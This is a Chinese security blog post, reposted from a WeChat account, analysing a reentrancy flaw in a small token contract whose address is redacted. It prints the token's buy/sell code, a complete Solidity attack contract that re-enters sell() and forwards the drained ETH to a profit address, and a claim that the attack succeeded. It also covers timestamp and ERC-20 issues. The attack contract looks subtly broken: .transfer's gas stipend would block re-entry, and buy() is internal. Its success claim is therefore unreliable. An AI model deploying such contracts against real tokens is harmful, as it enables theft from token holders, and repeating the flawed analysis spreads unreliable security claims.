重入攻击漏洞(Reentrancy Attack)

admin 2024年4月10日10:52:30评论8 views字数 3815阅读12分43秒阅读模式

一只土狗的合约部分漏洞源码

重入攻击漏洞(Reentrancy Attack)

  function getAmountOut(uint256 value, bool _buy) public view returns (uint256) {    (uint256 reserveETH, uint256 reserveToken) = getReserves();    if (_buy) {      return (value * reserveToken) / (reserveETH + value);    } else {      return (value * reserveETH) / (reserveToken + value);    }  }  function buy() internal {    require(tradingEnable, 'Trading not enable');    uint256 msgValue = msg.value;    uint256 feeValue = msgValue * 2 / 100;    uint256 swapValue = msgValue - feeValue;    feeReceiver.transfer(feeValue);    uint256 token_amount = (swapValue * _balances[address(this)]) / (address(this).balance);    if (maxWalletEnable) {      require(token_amount + _balances[msg.sender] <= _maxWallet, 'Max wallet exceeded');    }    // uint256 user_amount = (token_amount / 10000) * 9900;    uint256 user_amount = token_amount;    // uint256 burn_amount = token_amount - user_amount;    _transfer(address(this), msg.sender, user_amount);    // _transfer(address(this), address(0), burn_amount);    emit Swap(msg.sender, swapValue, 0, 0, user_amount);  }  function sell(uint256 sell_amount) internal {    require(tradingEnable, 'Trading not enable');    // uint256 swap_amount = (sell_amount / 10000) * 9900;    uint256 swap_amount = sell_amount;    // uint256 burn_amount = sell_amount - swap_amount;    uint256 ethAmount = (swap_amount * address(this).balance) / (_balances[address(this)] + swap_amount);    require(ethAmount > 0, 'Sell amount too low');    require(address(this).balance >= ethAmount, 'Insufficient ETH in reserves');    _transfer(msg.sender, address(this), swap_amount);    // _transfer(msg.sender, address(0), burn_amount);    uint256 feeValue = ethAmount * 2 / 100;    payable(feeReceiver).transfer(feeValue);    payable(msg.sender).transfer(ethAmount - feeValue);    emit Swap(msg.sender, 0, sell_amount, ethAmount - feeValue, 0);  }  receive() external payable {    buy();  }}

这是其中有关于部分买卖代币的源码

    在函数buy()sell()中都存在潜在的重入攻击漏洞。

    在调用外部合约或外部账户时,首先应该执行内部状态变更,然后再调用外部合约或外部账户。

    否则,外部合约或外部账户可能会在还未完成内部状态变更时再次调用合约,从而导致意外的结果。

先来看下重入漏洞的说明

重入攻击漏洞(Reentrancy Attack)

看下重入漏洞的条件

重入攻击漏洞(Reentrancy Attack)

 address payable public feeReceiver;  constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {    _name = name_;    _symbol = symbol_;    _totalSupply = totalSupply_;    _maxWallet = totalSupply_ * 2 / 100;    address receiver = xxx;打码了    feeReceiver = payable(xxx);打码了    owner = receiver;    tradingEnable = false;    maxWalletEnable = true;    _balances[receiver] = (totalSupply_ * 50) / 100;    uint256 liquidityAmount = totalSupply_ - _balances[receiver];    _balances[address(this)] = liquidityAmount;    liquidityAdded = false;  }

  查看以上代码满足了 payable的功能 与上面信息满足了第三个条件,第二条件活跃的合约基本都存在。满足了以上的三个条件后。开始编辑攻击代码

pragma solidity ^0.8.0;interface xxxxInterface {    function buy() external payable;    function sell(uint256 sell_amount) external;}contract ReentrancyAttack {    xxxxInterface public grokContract;    address public attacker;    address payable public profitAddress;    bool private reentrancyAttackExecuted;    constructor(address _grokAddress, address _profitAddress) {        grokContract = xxxxInterface(_grokAddress);        attacker = msg.sender;        profitAddress = payable(_profitAddress);    }    function attack(uint256 amount) external payable {        require(msg.value == amount, "Incorrect amount sent");        grokContract.buy{value: msg.value}();        grokContract.sell(msg.value);    }    receive() external payable {        if (!reentrancyAttackExecuted) {            reentrancyAttackExecuted = true;            grokContract.sell(msg.value);            profitAddress.transfer(address(this).balance);        }    }    function withdraw() external {        require(msg.sender == attacker, "Only attacker can withdraw");        profitAddress.transfer(address(this).balance);    }}

xxx依旧是打码的标识

重入攻击漏洞(Reentrancy Attack)

重入攻击漏洞(Reentrancy Attack)

攻击成功

该代码中的另外一个问题

  function _transfer(address from, address to, uint256 value) internal virtual {    if (to != address(0)) {      require(lastTransaction[msg.sender] != block.number, "You can't make two transactions in the same block");      lastTransaction[msg.sender] = uint32(block.number);      require(block.timestamp >= _lastTxTime[msg.sender] + 60, 'Sender must wait for cooldown');      _lastTxTime[msg.sender] = block.timestamp;    }

    在_transfer函数中,使用了block.timestamp来检查交易间隔。然而,这种方式并不是十分安全,因为矿工有可能在一定程度上操纵区块的时间戳。更好的做法是使用区块高度来进行时间间隔的检查。

小结:该代码并没有参考ERC-20标准,在ERC-20标准中,transfer和transferFrom函数应该返回一个布尔值,用来表示转账是否成功。然而在此合约中,transfer函数未按照ERC-20标准的要求来实现。

重入攻击漏洞(Reentrancy Attack)

重入攻击漏洞(Reentrancy Attack)
重入攻击漏洞(Reentrancy Attack)

扫描二维码获取

更多精彩

重入攻击漏洞(Reentrancy Attack)

洛米唯熊

原文始发于微信公众号(洛米唯熊):重入攻击漏洞(Reentrancy Attack)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月10日10:52:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   重入攻击漏洞(Reentrancy Attack)http://cn-sec.com/archives/2643836.html

发表评论

匿名网友 填写信息